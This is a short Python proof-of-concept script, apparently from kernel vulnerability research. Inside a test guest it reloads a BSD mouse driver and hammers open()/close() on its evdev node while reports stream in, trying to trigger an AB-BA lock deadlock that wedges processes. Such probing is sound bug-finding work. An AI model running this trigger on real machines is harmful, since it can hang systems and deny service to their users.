DF-5369 / ocprobe.py
#!/usr/bin/env python3 """DF-5369 attempt: open/close-contention deadlock probe. Root loops open()/close() of the ums evdev node (each open runs evdev_register_client under ev_mtx -> ums_ev_open -> sc_lock) while the mouse streams reports (intr callback holds sc_lock -> EVDEV_ENTER takes ev_mtx). An AB-BA hit wedges the opener unkillably and progress stalls. """ import os, sys, time sys.path.insert(0, "/home/maxx/dfbsd/dfbsd/findings/poc/DF-5368") from umsrace import Mon, Spam, guest_run, guest_ok, evdev_node UMS_KO = os.environ.get("UMS_KO", "/boot/kernel/ums.ko") def main(): m = Mon() guest_run("kldunload ums 2>/dev/null; sleep 0.5; " "kldload %s; sleep 2" % UMS_KO) node = evdev_node() print("node:", node, flush=True) script = "\n".join([ "#!/bin/sh", "i=0", "end=$(( $(date +%s) + 150 ))", "while [ $(date +%s) -lt $end ]; do", " exec 3<%s && exec 3<&-" % node, " i=$((i+1))", ' if [ $((i % 200)) -eq 0 ]; then echo $i > /tmp/oc.count; fi', "done", "echo $i > /tmp/oc.count", ""]) heredoc = "cat > /tmp/ocloop.sh <<'XEOF'\n" + script + "XEOF\nchmod +x /tmp/ocloop.sh\n" guest_run(heredoc) print(guest_run("rm -f /tmp/oc.count; /tmp/ocloop.sh </dev/null " ">/dev/null 2>&1 & echo loop-started").stdout.strip()) sp = Spam(m) sp.start() for tick in range(28): time.sleep(5) r = guest_run("cat /tmp/oc.count 2>/dev/null").stdout.strip() print("t=%2ds opens=%s" % ((tick + 1) * 5, r or "none"), flush=True) if not guest_ok(): print("GUEST DOWN during contention") break sp.run_flag = False sp.join(3) r = guest_run("P=$(pgrep -f ocloop.sh); echo pids=$P; kill -9 $P 2>/dev/null; " "sleep 1; pgrep -f ocloop.sh || echo loop-gone") print("kill check:", r.stdout.strip()) print("alive:", guest_ok()) if __name__ == "__main__": main() |